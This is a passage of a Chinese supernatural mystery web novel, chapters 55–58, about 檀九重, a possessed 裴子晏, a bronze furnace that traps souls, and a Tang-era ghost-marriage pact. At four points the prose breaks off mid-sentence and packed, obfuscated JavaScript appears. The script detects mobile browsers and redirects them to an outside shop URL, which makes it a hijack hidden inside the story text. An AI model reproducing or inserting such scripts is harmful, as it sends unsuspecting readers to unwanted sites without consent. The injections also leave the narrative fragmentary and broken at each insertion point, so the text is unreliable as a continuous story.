他突然跪地,左手不受控制地抓向自己的脸:“学姐...跑...!” 转瞬间,他又恢复冷静,站起身整理衣领:“抱歉,一点小插曲。”指向千棺葬深处,“真相在那里。” 最中央的墓室已被改造成临时实验室。雀炉碎片摆在正中央,周围是各种检测设备。檀九重惊讶地发现,父亲失踪前随身携带的背包就放在角落,上面还沾着干涸的血迹。 ‘裴子晏’拿起一块碎片:“知道这是什么材质吗?” 檀九重摇头。 “人骨。”他轻叩碎片,发出清脆的金属音,“确切地说,是经过特殊处理的童骨。每一任‘守墓人’在自己临终前都会献祭一个孩子...” 他打开投影仪,墙上显示出雀炉碎片的显微图像——骨胶原纤维中排列着奇特的金属晶体,形成微小的电路图般结构。 “这不是祭祀用具...是精密的‘灵魂容器’。”他的声音带着狂热的颤抖,“能捕捉、储存并转移意识!” 檀九重突然明白了父亲笔记中那些疯狂设想的意义。她后退一步:“所以‘归来客’是...” “按照如今的话来说就是上一个使用者的意识。”‘裴子晏’突然痛苦地抱住头,声音变回真正的裴子晏,“学姐...他在骗你...炉子里不止一个...” 双重音调再次出现:“闭嘴!我们好不容易才...” 两个魂魄在体内激烈争斗,‘裴子晏’的身体像提线木偶般抽搐。檀九重趁机翻看父亲的背包,找到一本被血浸透的笔记。勉强能辨认的几页记载着令人毛骨悚然的内容: “癸未年六月初七,确认雀炉为‘意识传输装置’...设计者疑似东汉方士左慈...” “七月初一,发现炉内储存着至少七个完整意识...包括我自己的...” “七月初七,必须阻止仪式...钥匙在九重胎记中...” 最后一页被血彻底糊住,只能隐约看到几个字:“...换命...锁...归...” “学姐...”‘裴子晏’突然平静下来,声音恢复成她熟悉的语调,“你还记得我们第一次见面时说的话吗?” 檀九重浑身紧绷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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‘裴子晏’——或者说那个融化的怪物——发出刺耳尖啸扑向老妇人。檀九重抄起考古锤砸向骨灰坛—— 陶片四溅,两缕青烟腾空而起。一缕飘向雀炉,一缕凝聚成人形...是穿卫衣的裴子晏! “学姐...”他的虚影轻抚她的脸,“好像,这次真的要说再见了...” 雀炉轰然炸裂,七个人影在青光中扭曲消散。整个千棺葬开始崩塌,巨石如雨落下。 最后的意识里,檀九重感到有人紧紧抱住她,用身体挡住坠石。熟悉的声音在耳边响起: “活下去...学姐...” 再睁眼时,她躺在医院病床上。雨燕说救援队只找到了她一人,千棺葬已经完全坍塌。 “裴...子晏呢?” 雨燕摇头,递给她一枚铜钱——边缘刻着新字:“月圆之夜,灯下重逢”。 窗外,暮色四合。檀九重摸向锁骨下的月牙胎记,那里隐隐发烫,仿佛在回应遥远的呼唤。 55. 移魂祭 医院的白炽灯在头顶嗡嗡作响。 檀九重盯着手中的铜钱,边缘的刻字在灯光下若隐若现:“月圆之夜,灯下重逢”。窗外的月亮已经趋近圆满,距离千棺葬坍塌过去了三天,她的身体基本康复,但记忆仍停留在最后那个拥抱——裴子晏用身体为她挡下坠石的触感仿佛还留在皮肤上。 “檀小姐,有人找您。” 护士的声音打断了思绪。门口站着雨燕和她的奶奶,老妇人手里捧着一个熟悉的物件——那盏从千棺葬带出来的青铜灯。 “时间到了。”老妇人的声音比往常更加沙哑,“今晚月圆,是见‘归来客’的最后机会。” 檀九重警惕地看着她:“什么机会?” “见你父亲的机会。”老妇人咳嗽着,从怀中取出一张泛黄的照片,“也是弄清楚当年真相的机会。” 照片上是1986年的千棺葬发掘现场。年轻的檀明远站在雀炉旁,身边是两个穿蓝布衫的小男孩。令人毛骨悚然的是,其中一个男孩抬头看向镜头的脸——分明是五岁的檀九重! “这不可能...”檀九重手指发抖,“1986年我还没出生!” 老妇人意味深长地看着她:“你真的确定吗?” 病房的电视突然自动打开,播放着考古队的实时画面——工作人员正在清理千棺葬废墟。镜头扫过一处角落时,檀九重猛地坐直:废墟边缘,一个穿着病号服的女人正站在残存的雀炉前自言自语。那背影...是她自己? “现在几点?”她急问。 “晚上七点半。”雨燕看了看手表,“您一直在病房啊,刚才还睡着...” 檀九重冲去窗前。月光下的医院庭院空无一人,但电视画面里分明显示‘自己’正在废墟现场! “时空错乱...”她喃喃自语,“雀炉影响了现实...” 老妇人将青铜灯放在床头:“只有触碰雀炉,你才能看到真相。但代价是...” “魂魄离体。我知道。”檀九重苦笑,“就像裴子晏那样。” “不,比那更糟。”老妇人枯瘦的手指轻抚灯身,“你可能会永远留在过去,成为‘归来客’的一员。” 檀九重没有犹豫。她换上衣服,跟着祖孙俩悄悄离开医院。夜色中的千棺葬废墟被临时灯光照亮,警戒线外站着几个值班人员。奇怪的是,没人对她们的到来表示惊讶,甚至没人抬头看一眼。 “他们看不见我们。”雨燕低声解释,“月圆之夜的‘影时间’...” 残存的雀炉立在废墟中央,炉身布满裂痕,却奇迹般地保持着完整。走近后檀九重才发现,炉口缠绕着新鲜的红线——与裴子晏曾经用过的如出一辙。 “准备好了吗?”老妇人问,“一旦开始,就没有回头路了。” 檀九重点头,将铜钱含在舌下——这是父亲笔记中记载的‘固魂法’。她深吸一口气,将手伸向雀炉... 触碰的瞬间,世界天旋地转。耳边响起尖锐的鸣叫,像是无数人在同时惨叫。眼前闪过刺目的白光,等视野恢复时,她站在一个陌生的地方—— 1986年的千棺葬发掘现场。 年轻的父亲穿着褪色的牛仔衬衫,正在帐篷里整理笔记。桌上摆着一张照片:五岁的她站在千棺葬入口,身边是两个穿蓝布衫的小男孩。 “爸...爸?”檀九重试探性呼唤,但对方毫无反应。 她伸手去碰父亲,手指却穿过了他的身体——在这个时空里,她只是个旁观者。 帐篷外突然传来骚动。檀九重跟出去,看到队员们围着一个刚出土的青铜器——正是完整的雀炉!炉身泛着诡异的青光,在阳光下显得格格不入。 “檀教授!”一个队员喊道,“炉子里有东西!” 父亲快步上前,从炉中取出一块皮影——儿童形状,面部空白。就在他触碰皮影的瞬间,异变陡生! 皮影突然‘活’了过来,紧紧吸附在父亲手上。他痛苦地跪倒在地,右手皮肤以肉眼可见的速度变成青铜色。队员们惊恐后退,只有穿长衫的老者(年轻时的外祖父)上前,用某种粉末在父亲周围画了个圈。 “别动!”老者厉喝,“它在找容器!” 檀九重想冲过去帮忙,却无法干涉这个时空。她眼睁睁看着父亲挣扎了几分钟,最终平静下来。但当她再次看到父亲的眼睛时,心脏几乎停跳——那双眼睛变成了诡异的灰白色,与裴子晏的一模一样! “仪式准备得如何?”父亲开口,声音却带着老者的腔调。 “还需要两个童男。”外祖父回答,“已经找到了,就在村里。” 画面突然跳转。夜色中的千棺葬,雀炉被安置在临时搭建的祭台上。炉前跪着两个穿蓝布衫的小男孩,一个活泼好动,一个沉默寡言。令檀九重毛骨悚然的是,那个沉默男孩抬头时,露出的竟是她的脸! “这是...我?” “不,是‘容器’。”老妇人的声音突然在耳边响起。檀九重转头,看到年老的守墓人站在身旁,仿佛能跨越时空与她对话,“你父亲为了救你,找到了最合适的‘容器’...” 年轻时的父亲(已经被‘归来客’附体)手持青铜刀走向两个孩子。活泼的那个哭喊着求饶,沉默的则直勾勾盯着祭台——那里摆着一个小女孩的照片,五岁的檀九重。 “只能选一个活下来。”父亲的声音带着哭腔,“一个作为‘器’,一个作为‘魂’...” 外祖父不耐烦地推开他:“别浪费时间!月圆时刻马上就到!” 父亲颤抖着举起刀,却突然转向外祖父刺去!青铜刀贯穿老者的胸膛,流出的却是青黑色黏液。 “逆徒!”外祖父咆哮着,身体开始膨胀变形,“你以为这样就能阻止仪式?” 混乱中,沉默男孩突然挣脱绳索,扑向雀炉!炉口喷出的青火将他吞没,但下一刻,一个半透明的身影从火焰中走出——十七八岁的裴子晏! “学姐...”他看向虚空,仿佛能看见时空之外的檀九重,“快想起来...” 场景再次变换。檀九重站在医院的走廊里,时间是现代。透过病房窗户,她看到自己躺在病床上,而一个穿白大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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确实,月亮已经升至中天,呈现出诡异的血红色。雀炉开始震动,炉口的红线一根根崩断。更可怕的是,废墟各处浮现出半透明的人影——历代的‘归来客’! 檀九重握紧铜钱,突然冲向雀炉。在所有人反应过来前,她将铜钱按在炉身上,同时用青铜小刀划开胎记—— 鲜血涌出,却不是红色,而是泛着金属光泽的青黑色!血液接触雀炉的瞬间,整个废墟亮如白昼。无数记忆碎片如洪流般涌入檀九重的脑海: 父亲在最后一刻将‘归来客’封印在自己体内;裴子晏自愿成为‘容器’以保全她的魂魄;那个有着她面孔的男孩其实是‘影之子’,是她在时空错乱中产生的另一重存在... 当光芒散去时,雀炉彻底化为齑粉。废墟上站着一个人影——穿卫衣的裴子晏,右眼灰白,嘴角挂着熟悉的酒窝笑。 “学姐...”他轻声说,“这次换我来找你了。” 月光下,他的影子与檀九重的完美重合,形成一个完整的月牙形状。 56. 骨血择 晨光穿透窗帘的缝隙,在病房地板上投下一道道细长的光斑。 檀九重睁开眼,指尖上仿佛还残留着昨夜触碰雀炉的冰冷触感。裴子晏坐在床边的椅子上,低头摆弄着一根红绳,卫衣兜帽投下的阴影遮住了他的眼睛。阳光穿过他的身体,在地板上映出淡得几乎看不见的影子。 “你...”檀九重嗓子干涩,“真的回来了?” 裴子晏抬头,右眼灰白如旧,左眼却比记忆中更加黯淡:“这只是暂时的。”他晃了晃手腕,上面缠着同样的红绳,“你的魂魄不稳定,需要媒介固定。” 檀九重这才注意到,自己的左手腕不知何时也被系上了一根红绳,绳结精巧复杂,另一端连接着裴子晏的手腕。 “这是...” “血契的变体。”裴子晏的声音轻得像风,“学姐的阳气能帮我维持形态。”他顿了顿,“但时间不多了...雀炉虽然毁了,仪式已经启动。” 檀九重想起幻境中看到的场景:“当年到底发生了什么?父亲为什么要把两个孩子推向雀炉?” 裴子晏的瞳孔微微收缩:“你看到了多少?” “看到父亲说‘只能选一个活下来’...”檀九重突然停住,因为裴子晏的右耳开始渗出青黑色的液体,“你流血了!” “没事。”裴子晏随意抹去耳边的液体,“魂魄离体太久的后遗症。”他望向窗外,“1986年丙寅年,檀叔叔发现了雀炉的真正用途——不是祭祀,而是‘魂魄转移’。” 他讲述的真相令人毛骨悚然: 当年外祖父发现檀九重天生魂魄不稳,活不过十岁。为了救她,他计划用雀炉将她的魂魄转移到另一个孩子身上。檀明远得知后,抢先找到一对命格相符的双胞胎,打算用其中一个作为容器。但最后关头,他发现雀炉里已经储存了六个‘归来客’的魂魄,如果再加上檀九重的,就会触发古老的‘七星续命阵’——以七魂为代价开启长生之门。 “檀叔叔虽然毁掉了仪式,但最后也只救下了一个孩子...”裴子晏的嘴角也开始渗血,“另一个被永远困在雀炉里,成为第七个魂魄...” 檀九重胃部一阵绞痛:“那个活下来的孩子...是你?” 裴子晏摇头:“不,我才是那第七个。” 病房门被轻轻推开,雨燕端着餐盘走进来。看到裴子晏七窍流血的样子,她竟然毫不惊讶,熟练地取出毛巾帮他擦拭。 “奶奶说你会这样。”她声音平静,“让我告诉你,‘丙寅年错选,癸未年更正’。” 裴子晏猛地抓住雨燕的手腕:“她还说了什么?” “说你们当年选错了孩子。”雨燕直视他的眼睛,“真正该活下来的...是另一个。” 檀九重如坠冰窟。她想起幻境中那个有着自己面孔的男孩,想起父亲痛苦地说“只能选一个活下来”...如果裴子晏是‘错选’的那个,那么... “不,不可能...”她抓住裴子晏的手,“你明明就在这里...” “学姐...”裴子晏苦笑,“你真的确定我是‘真’的吗?” 他解开衣领,露出胸口——钥匙孔状的凹陷里插着半截青铜钥匙,与檀九重手中的正好吻合。但当她凑近看时,发现钥匙孔边缘的皮肤正在缓慢青铜化,像是一块蔓延的锈迹。 “当年被推入雀炉的孩子,身体成了‘容器’。”裴子晏轻声解释,“而魂魄...则分裂成两部分。一部分留在体内,成为‘裴子晏’;另一部分...” “成了我的影子朋友。”檀九重恍然大悟,“所以你能通过我的影子传递信息!” 雨燕突然咳嗽起来,吐出一口黑血。她擦擦嘴角,露出诡异的微笑:“奶奶让我告诉你们...雀炉内壁有新字。” 裴子晏的身体瞬间绷紧:“带我们去。” 千棺葬废墟已被完全封锁,但雨燕带着他们从一条隐秘的小路潜入。中央的雀炉碎片被收集在一个玻璃柜中,上面贴着各种检测标签。令人毛骨悚然的是,那些碎片正在缓慢蠕动,像是试图重组。 “这...”檀九重后退半步,“它们还活着?” “不是活着。”裴子晏凑近玻璃,“是被困在里面的魂魄在挣扎。” 雨燕掏出钥匙打开柜锁:“奶奶说只有你能看到新字。”她看向裴子晏,“但是要用你的血。” 裴子晏毫不犹豫地划破手掌,将血滴在最大的一块碎片上。血珠接触青铜的瞬间,碎片表面浮现出细小的文字: “丙寅年错选,癸未年更正。七魂归位日,双生子择一。” “什么意思?”檀九重声音已经有些发抖。 “意思是...”裴子晏突然剧烈咳嗽起来,一大口黑血喷在玻璃上,“当年的选择错了...现在要重新选一次...” 他的身体开始透明化,红绳却越缠越紧,深深勒进檀九重的腕部皮肤。雨燕站在一旁,表情冷静得可怕: “奶奶说,当年檀教授选错了孩子。活下来的应该是‘影之子’,而不应该是容器。” 檀九重如遭雷击:“你是说...真正的裴子晏应该是...” “我的影子。”裴子晏——或者说占据裴子晏身体的魂魄——苦笑,“学姐猜得没错...我只是个‘归来客’...真正的裴子晏早就...” 他的话没能说完。身体突然痉挛,七窍流血更加严重。檀九重抱住他下滑的身体,感受到惊人的轻——仿佛抱着的只是一具空壳。 “不...一定有办法...” 裴子晏在她怀中艰难地抬起手,轻抚她腕间的红绳:“学姐...还记得铜钱上的字吗?‘月圆之夜,灯下重逢’...”他的声音越来越弱,“下次月圆...记得要点燃青铜灯...” “别说话!我带你回医院!” “来不及了...”裴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“世代守护的证明。”雨燕拉下袖子遮住疤痕,“我们家族的女性...生来就要系着红线...” 回到医院,檀九重发现病床旁多了一个包裹。拆开后,是那盏青铜灯和一本发黄的日记——父亲的笔迹。 第一页写着: “若九重见此,我已不在人世。真相虽然残酷,但你必须知道——1986年我选错了。活下来的不该是那个孩子,而是你的‘影’...” 日记中间被撕去了几页,最后一段写着: “月圆之夜,点燃青铜灯。记住,有时候死亡才是真正的救赎...” 檀九重抚摸着灯身,突然发现底座有个暗格。打开后,里面是半块铜钱——与她手中的正好能拼成完整一枚。 铜钱拼合的瞬间,病房的灯光闪烁了几下。檀九重回头,看到墙上自己的影子缓缓举起手,比了个‘嘘’的手势... 窗外,月亮正逐渐圆满。 57. 铜雀裂 月圆之夜,千棺葬废墟笼罩在诡异的青白色月光下。 檀九重蹲在临时搭建的法坛前,青铜灯在面前静静燃烧。灯芯的指骨已经长到第七节,缠绕的红线变成了暗红色,像是吸饱了干涸的血。她将两半铜钱合二为一,放在灯焰上方——铜钱没有掉落,而是诡异地悬浮在空中,缓缓旋转。 “时辰到了。” 老守墓人的声音从背后传来。檀九重回头,看到雨燕搀扶着她奶奶缓步走来。老妇人比上次见面更加憔悴,脸上的皱纹深如刀刻,手里捧着一个骨灰坛——正是之前那个刻着两个名字的坛子。 “丫头,想清楚了吗?”老妇人咳嗽着,“一旦开始,就没有回头路了。” 檀九重看向自己的影子——月光下,它比平时更加浓黑,轮廓也略有不同:肩膀更宽,发型更短...像是男性的影子。 “我想知道全部真相。”她握紧铜钱,“父亲、裴子晏、还有我...到底谁才是‘归来客’?” 老妇人将骨灰坛放在法坛中央,掀开盖子——里面是混合的灰白色粉末,散发着一股奇特的金属味。 “都不是,也都是。”老妇人用枯枝般的手指搅动骨灰,“1986年那晚,雀炉吞噬了两个孩子:一个成了‘器’,一个成了‘影’。但檀明远...你父亲...他做了件疯狂的事。” 她从怀中取出一块皮影,上面是两个手牵手的孩童剪影:“他将自己的一部分魂魄注入‘器’中,又把‘影’封进了你的胎记...”老妇人指向檀九重的锁骨,“所以你们三个,早就你中有我,我中有你。” 檀九重摸向月牙胎记,那里正隐隐发烫:“那现在的裴子晏...” “是残魂,也是容器。”老妇人将骨灰撒向雀炉碎片,“今晚要么彻底解放他们,要么...” “要么成为新的‘归来客’。”雨燕接话,眼神复杂地看向檀九重,“奶奶说你有选择权——保自己,还是救他们。” 檀九重没有犹豫。她划破手指,将血滴入青铜灯。灯焰“轰”地窜高,在空中形成一道青色的火柱。与此同时,地上的雀炉碎片开始剧烈震动,像被无形的手拼凑重组! “开始了...”老妇人退后几步,“记住,无论看到什么,都不要松开铜钱!” 第一块碎片飞起时,檀九重听到了哭声——孩童的、男人的、女人的...无数声音交织在一起。紧接着是第二块、第三块...当大部分碎片重组时,一个模糊的雀炉形状出现在法坛中央,炉口喷出青黑色的灰烬。 灰烬在空中组成两个纠缠的人形:一个高大如檀明远,一个瘦削如裴子晏。更诡异的是,两人胸口都有一个月牙形的空洞,与檀九重的胎记纹路完全一致! “爸...爸?”檀九重试探性呼唤。 高大的人形转向她,灰烬组成的脸上浮现出痛苦表情:“九重...走...” 瘦削的人形突然暴起,掐住高大者的脖子:“终于...等到这一天了...”声音赫然是年轻时的外祖父! 混乱中,一个熟悉的身影从黑暗中走出——穿卫衣的裴子晏,右眼灰白,左眼却泛着青铜光泽。他径直走向檀九重,动作僵硬如提线木偶。 “学姐...”声音却是双重音调,“把铜钱...给我...” 檀九重后退一步:“你不是裴子晏。” “我是...也不是。”他的嘴角扭曲成诡异的笑容,“我是所有‘归来客’的集合体...包括你父亲...” 他的手突然掐住檀九重的脖子!力道大得惊人,铜钱从她指间滑落。就在窒息感袭来的瞬间,裴子晏的表情突然变了——右眼流下青铜色的液体: “学姐...用灯...烧炉...” 真正的裴子晏在争夺身体控制权!檀九重趁机捡起铜钱,将它按在裴子晏胸口的钥匙孔上。钥匙与锁契合的瞬间,整个法坛剧烈震动! “不!!”外祖父的声音从裴子晏口中爆发,“你毁了一切!” 裴子晏的身体如触电般痉挛。在控制权交替的间隙,他猛地扑向重组中的雀炉,将双手插入炉口的青色火焰中! 皮肉焦糊的气味弥漫开来。令人毛骨悚然的是,烧焦的皮肤下露出的不是骨骼,而是青铜色的金属质地。裴子晏仿佛感觉不到疼痛,用力撕扯着炉身: “学姐...记住...影子里有...” 雀炉轰然炸裂!无数碎片如雨般四射,其中一片划过檀九重的脸颊,带出一道血痕。更大的冲击波将所有人掀翻在地。当尘埃落定时,法坛中央只剩下一堆青铜碎片和...跪在地上的裴子晏。 他的双手已经碳化,胸口钥匙孔状的凹陷完全敞开,里面空空如也。但最可怕的是他的眼睛——右眼灰白如常,左眼却变成了完全的青铜色,没有瞳孔,没有光泽,就像一颗金属珠子。 “裴...子晏?”檀九重小心翼翼地靠近。 他缓缓抬头,嘴角扯出一个机械的微笑:“仪式...完成了...”声音不再是双重音调,却也不像从前的裴子晏,“现在...我们自由了...” 老守墓人突然尖叫一声:“不对!这不是解放...这是替换!”她指着地上四散的雀炉碎片,“看上面的纹路!” 檀九重捡起一块碎片,在月光下细看——原本应该刻有符文的位置,现在浮现出细小的现代文字:“丙寅年错选,癸未年更正。景龙三年始,今日终完成。” “景龙三年...”老妇人瘫坐在地,“唐代年号...这仪式比想象中古老得多...” 一块较大的碎片吸引了檀九重的注意。它比其他碎片厚实,像是炉底的某部分。当她拂去表面的灰烬时,露出半张泛黄的纸——婚书! 纸质古老脆弱,但字迹依然清晰: “景龙三年七月初七,檀氏子与裴氏女结为夫妇。以血为誓,以魂为盟。生死相依,阴阳不弃。” 最下方是两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17039839|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交叠的月牙印记,与她锁骨下的胎记一模一样。 “这是...” “原来如此...”老妇人恍然大悟,“不是什么长生仪式...是冥婚契约!你们檀裴两家...早在唐代就有渊源!” 裴子晏突然剧烈咳嗽起来,吐出大口青黑色的液体。他的皮肤开始出现细密的裂纹,像是一件年代久远的瓷器。檀九重抱住他下滑的身体,感受到惊人的轻——仿佛抱着的只是一具空壳。 “学姐...”他的声音突然变回熟悉的语调,“铜钱...” 檀九重将合二为一的铜钱塞入他胸口的空洞。奇迹般地,裂纹停止蔓延。裴子晏的呼吸平稳了些,但双眼依然一灰一青,诡异非常。 “不够...”老妇人摇头,“他缺了一魂...必须找回完整的...” 雨燕突然指向檀九重的影子:“在那里!” 月光下,檀九重的影子不再是她的轮廓,而是一个清晰的男性剪影——穿长衫的民国青年,右腕有月牙胎记。 “裴子晏...真正的裴子晏...”老妇人颤抖着跪下,“他从一开始就藏在你的影子里...” 影子缓缓抬手,指向西南方向。檀九重福至心灵:“湘西...千棺葬...” 裴子晏的身体突然痉挛,青铜色的左眼流出金属液体:“学姐...时间不多了...”他艰难地抬起碳化的手,轻触她脸颊的伤口,“血契...需要更新...” 檀九重毫不犹豫地割破手腕,让血滴入他胸口的空洞。血液接触铜钱的瞬间,整个废墟刮起一阵阴风。所有雀炉碎片同时发出刺目的青光,在空中组成一个巨大的双月牙符号——与婚书上的印记完全相同。 “以血为誓,以魂为盟...”老妇人喃喃念着婚书上的文字,“生死相依,阴阳不弃...” 青光中,影子与裴子晏的身体开始共鸣。一缕黑烟从影子中分离,缓缓注入裴子晏胸口的空洞。他的身体以肉眼可见的速度修复着:碳化的手指脱落,露出新生的皮肤;胸口的裂纹逐渐愈合;就连青铜色的左眼也恢复了部分神采... 当最后一丝黑烟融入体内时,裴子晏猛地吸了一口气,像是溺水者终于浮出水面。他的眼睛——右眼灰白,左眼漆黑——终于有了焦距,落在檀九重脸上。 “学姐...”声音虚弱但清晰,“这次...真的好久不见...” 废墟边缘突然传来掌声。众人回头,看到雨燕站在月光下,嘴角挂着诡异的微笑: “恭喜,契约完成了。” 她扯开衣领,露出锁骨下的月牙疤痕——不是胎记,而是一个精致的青铜锁! “接下来...该履行承诺了。”她的声音突然变成苍老的男声,“景龙三年立下的誓言...该兑现了...” 檀九重这才发现,雨燕的瞳孔变成了完全的青铜色,与裴子晏之前的左眼一模一样。而她手中捧着的,正是那半张唐代婚书... 58. 前世炉 就在此时,铜雀炉传来了碎裂的声音。 铜雀炉碎片落地的脆响尚未消散,雨燕衣领下的青铜锁突然迸出刺目青光。那光线如有实质,像无数细针扎进我的瞳孔。檀九重下意识闭眼,却听见裴子晏发出一声闷哼。 “别看!”他碳化的手掌覆上檀九重的眼睑,皮肤接触处传来诡异的灼烧感,“那是‘锁魂光’...” 雨燕的笑声从指缝间渗进来,音调越来越高,最后变成某种非人的尖啸。她强行掰开裴子晏的手指,看到令人毛骨悚然的一幕——雨燕的皮肤正在龟裂,裂缝中透出青铜色的光,整个人像件正在碎开的瓷器。 “景龙三年七月初七...”她的声带似乎也金属化了,每个字都带着青铜器摩擦的颤音,“檀氏女与裴氏子...血魂为契...” 老守墓人突然扑上前,枯瘦的手指插入雨燕锁骨下的青铜锁:“休想!”她猛地一拽,竟扯出半截锈迹斑斑的青铜链条!链条尽头拴着个微型铜雀炉,只有核桃大小,炉身刻满与婚书相同的文字。 雨燕的表情凝固了。她的身体像被按了暂停键,所有裂缝停止蔓延。裴子晏趁机将檀九重拽到法坛残骸后,碳化的指尖在青石板上划出带血的符咒:“学姐...听我说...铜雀炉要重组了...” 地面开始震动。散落的碎片悬浮到空中,发出高频蜂鸣。更可怕的是,那些碎片不再试图拼回炉子形状,而是组成无数个微型铜雀图案,像一群青铜蜂鸟在她们头顶盘旋。 “这不是物理重组...”裴子晏的左眼——那只恢复神采的黑眼睛——瞳孔缩成针尖大小,“它们在重构时空节点...” 话音未落,最大的那块碎片突然射向檀九重的眉心!我本能地抬手去挡,却见裴子晏横插过来用胸口挡住碎片。钥匙孔状的凹陷精准吞没碎片,发出“咔嗒”一声,像锁芯转动的声响。 时间仿佛被拉长。她看见裴子晏胸口的皮肤下泛起青铜色脉络,像树根般向四肢蔓延。他的表情从痛苦变成一种诡异的平静,嘴角甚至浮起微笑:“原来...是这样...” 铜雀群突然集体俯冲!它们不再攻击人类,而是疯狂撞向法坛中央的骨灰坛。每撞一次,坛身就浮现一道血纹,当第九只铜雀撞上时,坛子“砰”地炸开,骨灰与青铜碎片混合成一道灰青色的旋风。 旋风中心,渐渐浮现出模糊的影像——朱红宫墙、玄色道袍、还有...排列整齐的童男女。他们手腕都系着红线,另一端拴在一尊巨大的铜雀炉上。 “景龙三年...”老守墓人跪倒在地,“是唐中宗时期的铜雀祭!” 影像突然清晰得可怕。檀九重闻到炼丹房特有的硫磺味,听到铜雀炉内液体沸腾的咕嘟声。百名童男女中,有两个孩子格外醒目:穿靛蓝短打的男孩和藕荷襦裙的女孩,他们腕间的红线纠缠成复杂的结。 男孩突然转头——那张脸赫然是幼年的裴子晏!他朝檀九重的方向咧嘴一笑,露出缺了颗门牙的牙床:“阿檀,记住我们的暗号...” 现实与幻境的边界轰然崩塌。她感到一阵天旋地转,再睁眼时已站在唐代的炼丹房里。奇怪的是,她依然保有现代的意识,仿佛灵魂附在了那个叫‘阿檀’的女孩身上。 “今日酉时开炉。”穿玄色道袍的方士背对着我们,声音熟悉得让檀九重浑身发冷,“你二人是药引,需在炉前诵《黄庭经》满三百遍。” 当他转身,檀九重几乎惊叫出声——那张脸与父亲檀明远有七分相似!尤其是左眉骨处的疤痕,形状位置都一模一样。 小裴子晏悄悄捏了捏‘她’的手指。通过"阿檀"的眼睛,她看到他袖口滑出半枚铜钱,正是后世被称为‘厌胜钱’的样式。他用气音说:“我偷了钥匙...子时...” 画面突然快进。深夜的炼丹房,小裴子晏正用铜钱撬开铜雀炉的暗格。里面不是丹药,而是密密麻麻的人骨!每根骨头上都刻着符文,最上面是根孩童的指骨,缠着褪色的红线。 “他们在炼‘归魂丹’...”小裴子晏的声音在发抖,“用童男女的魂魄...” 门外突然传来脚步声。小裴子晏猛地将‘她’推进暗格:“数到一百再出来!”他刚合上暗格,炼丹房的门就被踹开。透过缝隙,她看到那个像父亲的方士带着侍卫冲进来。 “裴氏小儿!”方士一把揪住小裴子晏的衣领,“檀家丫头呢?” “跑了。”小裴子晏咧嘴笑,缺牙的位置漏着风,“我帮她翻的墙。” 方士暴怒之下将孩子甩向铜雀炉。小裴子晏的后脑撞在炉身上,鲜血顺着青铜纹路淌进炉口的孔洞。诡异的是,血一接触炉身就被吸收,炉内随即传出婴儿啼哭般的声响。 “也罢。”方士突然冷静下来,“裴氏纯阳血更利炼丹。” 他们给小裴子晏灌下某种药汁,孩子很快眼神涣散。当侍卫把他往炉口送时,他突然挣扎着扯断腕间红线,将连着铜钱的那半截抛向暗格:“阿檀...下一世...我等你认出我...” 惨叫声中,铜雀炉爆出刺目青光。檀九重的意识被强行拉回现代,发现自己在千棺葬废墟上蜷缩成一团,十指深深抠进泥土。裴子晏跪在旁边,正用碳化的手掌轻拍她的后背,动作僵硬却温柔。 “看到了?”他声音沙哑,左眼又泛起青铜色,“那就是铜雀祭的真相...” 老守墓人突然发出撕心裂肺的咳嗽。她手里攥着从雨燕身上扯下的青铜链条,链条另一端竟延伸进地下!随着她每咳一声,就有更多链条从土里被拽出,仿佛地底埋着个巨大的绞盘。 “三十六年...”她吐着血沫冷笑,“老身守这‘锁龙链’三十六年,今日终于...” 链条突然绷直。地面裂开一道三指宽的缝隙,涌出腥臭的黑水。水中有东西在反光——是无数铜钱!它们组成一条诡异的‘钱龙’,正顺着链条往上爬。 雨燕的尸体(如果那还能称为尸体)突然抽搐起来。她锁骨下的青铜锁自动旋转,发出齿轮咬合的咔咔声。当锁芯转到第三圈时,所有铜钱同时立起,露出背面相同的月牙印记。 “血契...更新...”雨燕的声带像生锈的机械,“缺一魂...不完整...” 裴子晏的身体猛地前倾,像被无形绳索拉扯。他胸口的钥匙孔开始渗出青铜色液体,在地上形成奇怪的卦象。檀九重下意识去扶他,却被老守墓人厉声喝止:“别碰!他在排‘炉毒’!” 液体形成的卦象渐渐清晰——是《周易》第六十三卦‘既济’。但本该对称的图形却缺了右下角,正好是‘裴’字在婚书上的位置。 “我明白了...”她颤抖着摸出合二为一的铜钱,“不是缺魂...是缺‘契’!” 铜钱落入卦象缺角的瞬间,裴子晏发出一声不似人类的尖啸。他的左眼完全变成青铜色,右眼却恢复清明,瞳孔里映出她背后的景象——她的影子再次变成民国青年,正缓缓抬起右臂。 “学姐...影子...”裴子晏的声带仿佛被金属腐蚀,“让他...碰铜钱...” 